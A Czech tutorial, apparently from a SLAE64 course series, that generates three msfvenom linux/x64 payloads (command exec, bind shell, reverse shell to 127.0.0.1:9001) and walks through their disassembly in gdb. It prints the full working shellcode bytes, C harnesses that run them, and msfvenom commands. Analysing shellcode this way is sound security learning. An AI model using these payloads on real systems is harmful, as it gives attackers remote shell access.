V pátém textu této 64bitové série budou analyzovány 3 vybrané shellcody vygenerované pomocí msfvenom pro linux/x64. K analýze bude použito gdb.
Všechny dostupné payloady v msfvenom můžeme vidět pomocí:
- msfvenom ––list payloads | grep linux/x64

Za účelem analýzy byly vybrány následující payloady:
- linux/x64/exec
- linux/x64/shell_bind_tcp
- linux/x64/shell_reverse_tcp
linux/x64/exec:
Nejdřív ze všeho potřebujeme vědět, jaké jsou požadované nastavení pro vygenerování tohoto shellcodu:
- msfvenom -p linux/x64/exec ––list-options

Je zde pouze jedno požadované nastavení a to „CMD“. V našem případě použijeme whoami.
Vytvoříme shellcode v C:
- msfvenom -p linux/x64/exec CMD=whoami -f c
Poté vložíme do C skriptu, spustíme a spočítáme délku shellcodu:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x07\x00"
"\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x56\x57\x48\x89\xe6\x0f"
"\x05";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode-exec.c -o shellcode-exec

Jak můžeme vidět, shellcode funguje. Nyní jej můžeme analyzovat například pomocí GDB:
- gdb ./shellcode-exec -q -tui
- set disassembly-flavor intel
- layout a
- layout r
- break *&code
- run
push 0x3b ; syscall 59 = execve()
pop rax ; RAX = 59
cdq ; RDX = 0
movabs rbx,0x68732f6e69622f ; "hs/nib/"
push rbx ; push in the stack
mov rdi,rsp ; RDI -> RSP ("hs/nib/")
push 0x632d ; "c-"
mov rsi,rsp ; RSI -> RSP ("c-")
push rdx ; RDX = 0 call 0x555555558087 ; storing the command "whoami" into the stack
push rsi ; RSI -> stack
push rdi ; RDI -> stack
mov rsi, rsp ; RSI (/bin/bash -c whoami) -> stack
syscall




Můžeme vidět náš string “\x69\x6d\x61\x6f\x68\x77” = “whoami”.
- echo -ne ‘\x56\x57\x48\x89\xe6’ | ndisasm -b 64 –

linux/x64/shell_bind_tcp:
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x64/shell_bind_tcp –list-options

Je zde pouze jedno povinné nastavení a to „LPORT“.
Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x64/shell_bind_tcp LPORT=9001 -f c
Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode-bind.c -o shellcode-bind

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn. Analyzovat jej můžeme například pomocí ndisasm a gdb:
- msfvenom -p linux/x64/shell_bind_tcp LHOST=127.0.0.1 LPORT=9001 | ndisasm -b 64 –
- gdb ./shellcode-bind -q -tui
- set disassembly-flavor intel
- layout a
- layout r
- break *&code
- run

push byte +0x29 ; = 41
pop rax ; syscall = socket()
cdq ; RDX = 0
push byte +0x2 ;
pop rdi ; AF_INET = 2
push byte +0x1 ;
pop rsi ; SOCKET_STREAM = 1
syscall ; executing syscall socket()
xchg rax, rdi ; saving results for later use
push rdx ;
mov dword [rsp], 0x29230002 ; Doubleword = 1. port = 9001 (0x2923) 2. AF_INET = 2 (0x02)
mov rsi, rsp ; move dword -> RSI
push byte +0x10 ; address length into RDX
pop rdx
push byte +0x31 ; = 49
pop rax ; syscall = bind()
syscall ; executing syscall bind()
push byte +0x32 ; = 50
pop rax ; syscall listen()
syscall ; executing syscall listen()
xor rsi, rsi ; RSI = 0
push byte +0x2b ; = 43
pop rax ; syscall = accept()
syscall ; executing syscall accept()
xchg rax, rdi ; saving results for later use
push byte +0x3
pop rsi ; RSI loop = 3
dec rsi ; RSI minus 1 <---------<-------------<-|
push byte +0x21 ; = 33 |
pop rax ; syscall dup2() |
syscall ; executing syscall dup2() |
jne 0x555555558093 ; JNE -> loop to instruction dec rsi >->|
push byte +0x3b ; = 59
pop rax ; syscall execve()
cdq
mov rbx, 0x68732f6e69622f ; "hs/nib/"
push rbx ;
mov rdi, rsp ; RSI -> RDI -> pathname = /bin/sh,0x0
push rdx ; RDX = 0
push rdi
mov rsi, rsp
syscall ; executing syscall execve()
mov dword [rsp], 0x29230002 ; Doubleword = 1. port = 9001 (0x2923) 2. AF_INET = 2 (0x02)

RSI Loop


- Socket():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- socket() = 41
- man socket
- RAX:
- socket() = 41
- RDI:
- int domain
- PF_INET = 2
- RSI:
- int type
- SOCK_STREAM = 1
- RDX:
- int protocol
- IPPROTO_IP = 0
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- Bind():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- bind = 49
- man bind
- RAX:
- bind() = 49
- RDI:
- int sockfd
- reference to socket (previous storing RAX into RDI)
- RSI:
- const struct sockaddr *addr
- AF_INET => 2
- Port number => 9001 decimal = 2329 hex => little endian = 0x2923
- Internet address => 0.0.0.0
- 0
- RDX:
- socklen_t addrlen
- pointer to location on the stack of the sockaddr struct we are going to create
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- Listen():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- listen = 50
- man listen
- RAX:
- listen() = 50
- RDI:
- int sockfd
- reference of stored RDI (socket())
- RSI:
- int backlog
- = 0
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- Accept():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- accept = 43
- man accept
- RAX:
- Accept()
- RDI:
- int sockfd
- reference on stored RDI
- RSI:
- struct sockaddr *addr = 0
- RDX:
- socklen_t *addrlen = 0
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- Dup2():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- dup2 = 33
- man dup2
- RAX:
- dup2()
- RDI:
- int oldfd
- already in clientid
- RSI:
- int newfd
- we will need loop for 3x into RSI
- loop 3,2,1
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- Execve():
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- execve() = 59
- man execve
- RAX:
- execve = 59
- RDI:
- const char *pathname
- /bin/sh,0x0
- RSI:
- const char *const argv[]
- address of /bin/sh, 0x0000000000000000
- RDX:
- const char *const envp[]
- 0x0000000000000000
- RAX:
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- linux/x64/shell_reverse_tcp:
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x64/shell_reverse_tcp ––list-option

Jsou zde dvě povinné nastavení a to „LPORT“ a „LHOST“.
Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9001 -f c
Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode-reverse.c -o shellcode-reverse

Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí gdb:
- msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9001 | ndisasm -b 64 –
- gdb ./shellcode-reverse -q -tui
- set disassembly-flavor intel
- layout a
- layout r
- break *&code
- run

push byte +0x29 ; = 41
pop rax ; syscall = socket()
cdq ; RDX = 0
push byte +0x2 ;
pop rdi ; AF_INET = 2
push byte +0x1 ;
pop rsi ; SOCKET_STREAM = 1
syscall ; executing syscall socket()
xchg rax,rdi ; RDI for later use
mov rcx,0x100007f29230002 ; 100007f = IP 127.0.0.1, 2923 = port 9001, 02 = AF_INET
push rcx ;
mov rsi,rsp ;
push byte +0x10 ;
pop rdx ; address length into RDX
push byte +0x2a ;
pop rax ; RAX = 42
syscall ; syscall = connect()
push byte +0x3 ;
pop rsi ; RSI = 3
dec rsi ; RSI minus 1 <-------<-----<-----|
push byte +0x21 ; = 33 |
pop rax ; syscall dup2() |
syscall ; executing syscall dup2() |
jnz 0x27 ; JNE -> loop to --------->------>|
push byte +0x3b ; = 59
pop rax ; syscall execve()
cdq ; RDX = 0
mov rbx,0x68732f6e69622f ; = "hs/nib/"
push rbx ;
mov rdi,rsp ; RSI -> RDI -> pathname = /bin/sh,0x0
push rdx ;
push rdi ;
mov rsi,rsp ;
syscall ; executing syscall execve()
100007f = IP 127.0.0.1, 2923 = port 9001, 02 = AF_INET

Connect() = (3, {sa_family=AF_INET, sin_port=htons(9001), sin_addr=inet_addr(“127.0.0.1”)}, 16)
Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64